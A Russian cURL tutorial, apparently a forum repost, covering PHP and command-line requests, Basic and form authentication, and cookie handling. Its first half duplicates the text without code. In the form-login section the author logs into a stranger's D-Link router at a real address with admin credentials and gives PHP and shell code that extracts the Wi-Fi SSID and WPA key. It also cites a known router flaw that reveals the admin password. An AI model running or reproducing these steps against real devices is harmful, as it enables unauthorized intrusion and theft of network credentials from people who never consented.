Для чего нужна cURL
Т.е. случаи использования cURL вполне реальные, хотя, в большинстве, cURL нужна программистам, которые используют её для своих программ.
cURL поддерживает множество протоколов и способов авторизации, умеет передавать файлы, правильно работает с кукиз, поддерживает SSL сертификаты, прокси и очень многое другое.
cURL в PHP и командной строке
Мы можем использовать cURL двумя основными способами: в скриптах PHP и в командной строке.
Чтобы включить cURL в PHP на сервере, необходимо в файле php.ini раскомментировать строку
А затем перезагрузить сервер.
На Linux необходимо установить пакет curl.
На Debian, Ubuntu или Linux Mint:
На Fedora, CentOS или RHEL:
Чтобы наглядно было видно разницу в использовании в PHP и в командной строке, будем одни и те же задачи выполнять дважды: сначала в скрипте PHP, а затем в командной строке. Постараемся при этом не запутаться.
Получение данных при помощи cURL
Получение данных при помощи cURL в PHP
Пример на PHP:
Всё очень просто:
$target_url — адрес сайта, который нас интересует. После адреса сайта можно поставить двоеточие и добавить адрес порта (если порт отличается от стандартного).
curl_init — инициализирует новый сеанс и возвращает дискриптор, который в нашем примере присваивается переменной $ch.
Затем мы выполняем запрос cURL функцией curl_exec, которой в качестве параметра передаётся дискриптор.
Всё очень логично, но при выполнении этого скрипта, на нашей странице отобразиться содержимое сайта. А что если мы не хотим отображать содержимое, а хотим записать его в переменную (для последующей обработки или парсинга).
Чуть дополним наш скрипт:
У нас появилась строчка curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.
curl_setopt — задаёт опции. Полный список опций можно найти на этой странице:
$response_data = curl_exec($ch);
Теперь значение скрипта присваивается переменной $response_data, с которой можно проводить дальнейшие операции. Например, можно вывести её содержимое.
Строчки
служат для отладки, на случай возникновения ошибок.
Получение данных при помощи cURL в командной строке
В командной строке достаточно набрать
где вместо mi-al.ru — адрес вашего сайта.
Если нужно скопировать данные в переменную, а не выводить полученный результат на экран, то делаем так:
При этом всё равно выводятся некие данные:
Чтобы они не выводились, добавляем ключ -s:
Можно посмотреть, что записалось:
Базовая аутентификация и аутентификация HTTP
Аутентификация, проще говоря, это введение имени пользователя и пароля.
Базовая аутентификация — это аутентификация средствами сервера. Для этого создаются два файла: .htaccess и .htpasswd
Содержимое файла .htaccess примерно такое
Содержимое файла .htpasswd примерно такое:
Т.е. логин и хэш пароля.
При попытке получить доступ к запароленной папке, в браузере отобразиться примерно такое окно:
HTTP аутентификация — это тот случай, когда мы вводим логин и пароль в форму на сайте. Именно такая аутентификация используется при входе в почту, на форумы и т. д.
Базовая аутентификация cURL (PHP)
Есть сайт
Пробуем наш первоначальный скрипт:
Хотя скрипт и считает, что ошибки нет, но выводимый результат нам совсем не нравится:
Добавляем две строки:
Первой строкой мы задаём тип аутентификации — базовая. Вторая строка содержит имя и пароль через двоеточие (в нашем случае имя и пароль одинаковые — ru-board). Получилось так:
Я не забыл указать тип аутентификации, просто в cURL базовый тип аутентификации является дефолтным.
В командной строке всё получилось так быстро, что от расстройства я написал вот такую программу. Она подключается к сайту и скачивает самое последнее обновление:
Буквально ещё несколькими командами можно добавить:
HTTP аутентификация cURL в PHP
Нам нужно знать:
Адрес, куда нужно отправить данные, можно взять из формы аутентификации. Например:
Мы смотрим на свойство action. Т.е. конечной страницей является login.php. Нам нужен полный адрес, например такой
Здесь же мы находим и метод отправки: method="post"
Логин и пароль я тоже знаю: admin и qwerasdfzxcv
В скрипте новая строка
curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv');
Здесь curl_setopt — уже знакомая нам функция по установлению опций для cURL, CURLOPT_POSTFIELDS — эта имя опции, которую мы устанавливаем. CURLOPT_POSTFIELDSсодержит все данные, которые передаются методом POST. Ну и сама строчка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv — это те самые данные, которые мы передаём.
Если внимательно изучить форму, то можно увидеть, что она содержит также и скрытые поля. А ещё данные могут обрабатываться или дополняться JavaScript'ами. Можно заняться изучением всего этого, но я предпочитаю более простой способ.
Я использую Wireshark. Эта программа предназначена для снифинга (перехвата) трафика. И именно в ней очень удобно смотреть, что же именно передаётся на сайт.
Посмотрите это крошечное видео:
Т.е. с адресом, куда передаются данные, я угадал. А вот передаваемая строка оказалась намного сложнее.
Я вписал верный параметр, а также чуть доработал скрипт, чтобы он не просто авторизовался, но и кое-что получал из роутера:
Кстати, если владелец обновит пароль (но не обновит прошивку), то новый пароль всегда можно посмотреть по адресу
(Это общеизвестная уязвимость роутеров D-Link DIR-300, D-Link DIR-320, и D-Link DAP-1353).
HTTP аутентификация cURL в командной строке
Полный адрес, а также строку, которую нужно передать, мы уже знаем. Поэтому всё просто:
Думаю, всё и так понятно, т. к. эти сроки мы уже рассмотрели. Если кому-то непонятно — спрашивайте в комментариях.
Примером использования cURL для получения и парсинга данных может стать следующий набор команд:
Сложные случаи авторизации: AJAX, JQuery, JavaScript и т.п.
Данные заголовок правильнее было бы написать так: «Сложные» случаи авторизации. Т.е. слово «сложные» взять в кавычки. Сложными они видятся только на первый взгляд, когда непонятно: куда происходит отправка, какие имена полей, что именно отправляется и т. д.
Но, на самом деле, все они сводятся к методам POST или GET. Чтобы понять, что именно отправляется, можно сохранить страницу с формой себе на диск и на кнопку отправки повесить функцию показа сформированных для отправки данных. Или ещё проще — как я, Wireshark'ом.
Если данные правильные, а аутентификация не происходит, то нужно копать в следующих направлениях:
Типсы и триксы cURL
cURL и получение кукиз помимо CURLOPT_COOKIEJAR
Думаю, уже стало понятно, что cURL правильно обрабатывает куки — сохраняет их, использует, когда сервер запрашивает, и т. д. Но иногда куки нужно сохранить. Для этого есть опция CURLOPT_COOKIEJAR, но воспользоваться ей можно не всегда. Этому и посвящён наш первый трюк.
Иногда из-за особенностей настройки PHP на сервере, нам недоступны такие опции как CURLOPT_COOKIEJAR (позволяет сохранить полученные куки в файл) и CURLOPT_COOKIEFILE (позволяет использовать куки из файла). Т.к. они говорят, что используя эти опции мы сможем стянуть любой файл с их сервера. Вот решение этой проблемы:
1) Не используем CURLOPT_FOLLOWLOCATION
2) Используем curl_setopt($ch, CURLOPT_HEADER, 1)
3) Собираем кукизы из заголовка header примерно так:
4) Задаём их используя curl_setopt($ch, CURLOPT_COOKIE, $cookies);
Второй совет. Из атакующих мы можем превратиться в жертву. Чтобы не стать жертвой атаки человек-по-середине, делаем так.
Пожалуйста, все, перестаньте устанавливать настройку CURLOPT_SSL_VERIFYPEER на false или 0. Если ваша установка PHP не имеет актуального комплекта корневых сертификатов CA, загрузите один на веб-сайте curl и сохраните его на ваш сервер:
Затем задайте путь в вашем файле php.ini file, например, на Windows:
Отключение CURLOPT_SSL_VERIFYPEER позволяет осуществить атаку человек-по-середине (MITM), а это нам не надо!
Ну и последняя на сегодня подсказка. Знаете ли вы, что возможно большое количество асинхронных запросов curl?
Для этого можно использовать curl_multi_init. Подробности и пример кода в официальной документации
Что ещё почитать про cURL
О cURL в PHP я бы рекомендовал официальную документацию — написано просто и много примеров.
Про cURL в командной строке
или
Для чтения на русском языке также подготовлена вторая часть урока cURL: "Примеры команд cURL".
- cURL отлично подходит для имитации действий пользователя в браузере.
- cURL удобен для получения данных с веб-сайтов в командной строке.
Т.е. случаи использования cURL вполне реальные, хотя, в большинстве, cURL нужна программистам, которые используют её для своих программ.
cURL поддерживает множество протоколов и способов авторизации, умеет передавать файлы, правильно работает с кукиз, поддерживает SSL сертификаты, прокси и очень многое другое.
cURL в PHP и командной строке
Мы можем использовать cURL двумя основными способами: в скриптах PHP и в командной строке.
Чтобы включить cURL в PHP на сервере, необходимо в файле php.ini раскомментировать строку
Код:
extension=php_curl.dll
На Linux необходимо установить пакет curl.
На Debian, Ubuntu или Linux Mint:
Код:
$ sudo apt-get install curl
На Fedora, CentOS или RHEL:
Код:
$ sudo yum install curl
Получение данных при помощи cURL
Получение данных при помощи cURL в PHP
Пример на PHP:
PHP:
<?php
$target_url = "http://mi-al.ru";
$ch = curl_init($target_url);
curl_exec($ch);
curl_close($ch);
?>
$target_url — адрес сайта, который нас интересует. После адреса сайта можно поставить двоеточие и добавить адрес порта (если порт отличается от стандартного).
curl_init — инициализирует новый сеанс и возвращает дискриптор, который в нашем примере присваивается переменной $ch.
Затем мы выполняем запрос cURL функцией curl_exec, которой в качестве параметра передаётся дискриптор.
Всё очень логично, но при выполнении этого скрипта, на нашей странице отобразиться содержимое сайта. А что если мы не хотим отображать содержимое, а хотим записать его в переменную (для последующей обработки или парсинга).
Чуть дополним наш скрипт:
PHP:
<?php
$target_url = "http://mi-al.ru";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response_data = curl_exec($ch);
echo $response_data;
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
}
curl_close($ch);
?>
curl_setopt — задаёт опции. Полный список опций можно найти на этой странице:
Ссылка скрыта от гостей
$response_data = curl_exec($ch);
Теперь значение скрипта присваивается переменной $response_data, с которой можно проводить дальнейшие операции. Например, можно вывести её содержимое.
Строчки
PHP:
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
}
служат для отладки, на случай возникновения ошибок.
Получение данных при помощи cURL в командной строке
В командной строке достаточно набрать
Код:
curl mi-al.ru
Если нужно скопировать данные в переменную, а не выводить полученный результат на экран, то делаем так:
Код:
temp='curl mi-al.ru'
Чтобы они не выводились, добавляем ключ -s:
Код:
temp='curl -s mi-al.ru'
Код:
echo $temp | less
Базовая аутентификация и аутентификация HTTP
Аутентификация, проще говоря, это введение имени пользователя и пароля.
Базовая аутентификация — это аутентификация средствами сервера. Для этого создаются два файла: .htaccess и .htpasswd
Содержимое файла .htaccess примерно такое
Код:
AuthName "Только для зарегистрированных пользователей!"
AuthType Basic
require valid-user
AuthUserFile /home/freeforum.biz/htdocs/.htpassw
Содержимое файла .htpasswd примерно такое:
Код:
mial:CRdiI.ZrZQRRc
При попытке получить доступ к запароленной папке, в браузере отобразиться примерно такое окно:
HTTP аутентификация — это тот случай, когда мы вводим логин и пароль в форму на сайте. Именно такая аутентификация используется при входе в почту, на форумы и т. д.
Базовая аутентификация cURL (PHP)
Есть сайт
Ссылка скрыта от гостей
, который требует от нас авторизоваться:Пробуем наш первоначальный скрипт:
PHP:
<?php
$target_url = "http://62.113.208.29/Update_FED_DAYS/";
$ch = curl_init($target_url);
$response_data = curl_exec($ch);
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>
Добавляем две строки:
PHP:
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board");
PHP:
<?php
$target_url = "http://62.113.208.29/Update_FED_DAYS/";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board");
$response_data = curl_exec($ch);
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
echo $response_data;
}
curl_close($ch);
?>[CODE]
Пробуем:
[ATTACH type="full" alt="30946"]30946[/ATTACH]
Отлично!
Базовая аутентификация cURL (в командной строке)
Этого же самого в командной строке можно добиться одной строчкой:
[CODE]curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/
В командной строке всё получилось так быстро, что от расстройства я написал вот такую программу. Она подключается к сайту и скачивает самое последнее обновление:
Bash:
temp=`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o 'Update_FED_201[0-9]{1}.[0-9]{2}.[0-9]{2}.7z' | uniq | tail -n 1`; curl -o $temp -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/$temp
- распаковку архива в указанный каталог;
- запуск обновлений КонсультантПлюс (это обновления для него);
- можно реализовать проверку — было ли уже скачено последнее доступное обновление или появилось новое;
- добавить это всё в Cron для ежедневных обновлений.
HTTP аутентификация cURL в PHP
Нам нужно знать:
- адрес, куда отправлять данные для аутентификации
- метод отправки GET или POST
- логин
- пароль
Адрес, куда нужно отправить данные, можно взять из формы аутентификации. Например:
HTML:
<form name="frm" id="frm" method="post" action="login.php" onSubmit="return check();">
Ссылка скрыта от гостей
Здесь же мы находим и метод отправки: method="post"
Логин и пароль я тоже знаю: admin и qwerasdfzxcv
Т.е. на сервер из формы передаётся строка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv методом POST. Теоретически, наш предыдущий скрипт, в которое мы добавили новую строчку, должен работать. Т.е. должна происходить аутентификация.На всякий случай — это не мой роутер (и я не знаю чей), поэтому если вы хотите досадить именно мне, то не нужно пакостить на этом роутере.
PHP:
<?php
$target_url = "http://188.35.8.64:8080/login.php";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response_data = curl_exec($ch);
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
}
curl_close($ch);
?>
curl_setopt($ch, CURLOPT_POSTFIELDS, 'LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv');
Здесь curl_setopt — уже знакомая нам функция по установлению опций для cURL, CURLOPT_POSTFIELDS — эта имя опции, которую мы устанавливаем. CURLOPT_POSTFIELDSсодержит все данные, которые передаются методом POST. Ну и сама строчка LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv — это те самые данные, которые мы передаём.
Если внимательно изучить форму, то можно увидеть, что она содержит также и скрытые поля. А ещё данные могут обрабатываться или дополняться JavaScript'ами. Можно заняться изучением всего этого, но я предпочитаю более простой способ.
Я использую Wireshark. Эта программа предназначена для снифинга (перехвата) трафика. И именно в ней очень удобно смотреть, что же именно передаётся на сайт.
Посмотрите это крошечное видео:
Т.е. с адресом, куда передаются данные, я угадал. А вот передаваемая строка оказалась намного сложнее.
Я вписал верный параметр, а также чуть доработал скрипт, чтобы он не просто авторизовался, но и кое-что получал из роутера:
PHP:
<?php
$target_url = "http://188.35.8.64:8080/login.php";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response_data = curl_exec($ch);
if (curl_errno($ch) > 0) {
echo 'Ошибка curl: ' . curl_error($ch);
} else {
$target_url2 = "http://188.35.8.64:8080/bsc_wlan.php";
$ch2 = curl_init($target_url2);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
$response_data2 = curl_exec($ch2);
preg_match('|f.ssid.value = "(.*)";|', $response_data2, $results2);
$results2[0] = str_replace('f.ssid.value = "', '', $results2[0]);
$results2[0] = str_replace('";', '', $results2[0]);
echo "Имя wi-fi сети: <b>$results2[0]</b><br />";
preg_match('|f_wpa.wpapsk1.value(.*)";|', $response_data2, $results3);
$results3[0] = str_replace('f_wpa.wpapsk1.value', '', $results3[0]);
$results3[0] = str_replace('="', '', $results3[0]);
$results3[0] = str_replace('";', '', $results3[0]);
echo "Пароль wi-fi сети: <b>$results3[0]</b>";
}
curl_close($ch);
?>
Ссылка скрыта от гостей
(Это общеизвестная уязвимость роутеров D-Link DIR-300, D-Link DIR-320, и D-Link DAP-1353).
HTTP аутентификация cURL в командной строке
Полный адрес, а также строку, которую нужно передать, мы уже знаем. Поэтому всё просто:
Код:
curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php
Примером использования cURL для получения и парсинга данных может стать следующий набор команд:
Код:
curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php > /dev/null && echo -e "nn" && echo "Имя сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f.ssid.value = "(.)*";' | sed 's/f.ssid.value = "//' | sed 's/";//' && echo "Пароль сети Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E 'f_wpa.wpapsk1.(.)*";' | sed 's/f_wpa.wpapsk1.value//' | sed 's/";//' | sed 's/="//'
Сложные случаи авторизации: AJAX, JQuery, JavaScript и т.п.
Данные заголовок правильнее было бы написать так: «Сложные» случаи авторизации. Т.е. слово «сложные» взять в кавычки. Сложными они видятся только на первый взгляд, когда непонятно: куда происходит отправка, какие имена полей, что именно отправляется и т. д.
Но, на самом деле, все они сводятся к методам POST или GET. Чтобы понять, что именно отправляется, можно сохранить страницу с формой себе на диск и на кнопку отправки повесить функцию показа сформированных для отправки данных. Или ещё проще — как я, Wireshark'ом.
Если данные правильные, а аутентификация не происходит, то нужно копать в следующих направлениях:
- задать верную строку реферера
- задать «правильную» строку пользовательского агента.
Типсы и триксы cURL
cURL и получение кукиз помимо CURLOPT_COOKIEJAR
Думаю, уже стало понятно, что cURL правильно обрабатывает куки — сохраняет их, использует, когда сервер запрашивает, и т. д. Но иногда куки нужно сохранить. Для этого есть опция CURLOPT_COOKIEJAR, но воспользоваться ей можно не всегда. Этому и посвящён наш первый трюк.
Иногда из-за особенностей настройки PHP на сервере, нам недоступны такие опции как CURLOPT_COOKIEJAR (позволяет сохранить полученные куки в файл) и CURLOPT_COOKIEFILE (позволяет использовать куки из файла). Т.к. они говорят, что используя эти опции мы сможем стянуть любой файл с их сервера. Вот решение этой проблемы:
1) Не используем CURLOPT_FOLLOWLOCATION
2) Используем curl_setopt($ch, CURLOPT_HEADER, 1)
3) Собираем кукизы из заголовка header примерно так:
PHP:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
Второй совет. Из атакующих мы можем превратиться в жертву. Чтобы не стать жертвой атаки человек-по-середине, делаем так.
Пожалуйста, все, перестаньте устанавливать настройку CURLOPT_SSL_VERIFYPEER на false или 0. Если ваша установка PHP не имеет актуального комплекта корневых сертификатов CA, загрузите один на веб-сайте curl и сохраните его на ваш сервер:
Ссылка скрыта от гостей
Затем задайте путь в вашем файле php.ini file, например, на Windows:
Код:
curl.cainfo=c:phpcacert.pem
Ну и последняя на сегодня подсказка. Знаете ли вы, что возможно большое количество асинхронных запросов curl?
Для этого можно использовать curl_multi_init. Подробности и пример кода в официальной документации
Ссылка скрыта от гостей
Что ещё почитать про cURL
О cURL в PHP я бы рекомендовал официальную документацию — написано просто и много примеров.
Ссылка скрыта от гостей
Про cURL в командной строке
Код:
man curl
Ссылка скрыта от гостей
Для чтения на русском языке также подготовлена вторая часть урока cURL: "Примеры команд cURL".
RSERSH
13.03.2016 в 18:41
И всё-же, до меня что-то не доходит, зачем испльзовать именно php? Может дело втом, что я этот язык не знаю))? По этой причине, не совсем всё понимаю. Например: скриншот сделанный при неудачной попытке авторизации, сделан в браузере, но почему ошибка выводится в браузере, а не в консоли или ещё где-то? Я лично пытался всё через терминал сделать, которую хоть как-то знаю в отличие от php, в итоге ничерта не получилось. Может в этом проблема или это можно сделать и средствами терминала линукса, если да, то подскажите как?
Пытаюсьпримитивного бота собратьдля вк, но пока застрял на этом
cd Desktop;
curl -A “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30” https://vk.com -o test.txt Не я не прошу за меня всё делать, просто пните в направлении, в котором нужно двигаться.
13.03.2016 в 18:41
И всё-же, до меня что-то не доходит, зачем испльзовать именно php? Может дело втом, что я этот язык не знаю))? По этой причине, не совсем всё понимаю. Например: скриншот сделанный при неудачной попытке авторизации, сделан в браузере, но почему ошибка выводится в браузере, а не в консоли или ещё где-то? Я лично пытался всё через терминал сделать, которую хоть как-то знаю в отличие от php, в итоге ничерта не получилось. Может в этом проблема или это можно сделать и средствами терминала линукса, если да, то подскажите как?
Пытаюсьпримитивного бота собратьдля вк, но пока застрял на этом
cd Desktop;
curl -A “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30” https://vk.com -o test.txt Не я не прошу за меня всё делать, просто пните в направлении, в котором нужно двигаться.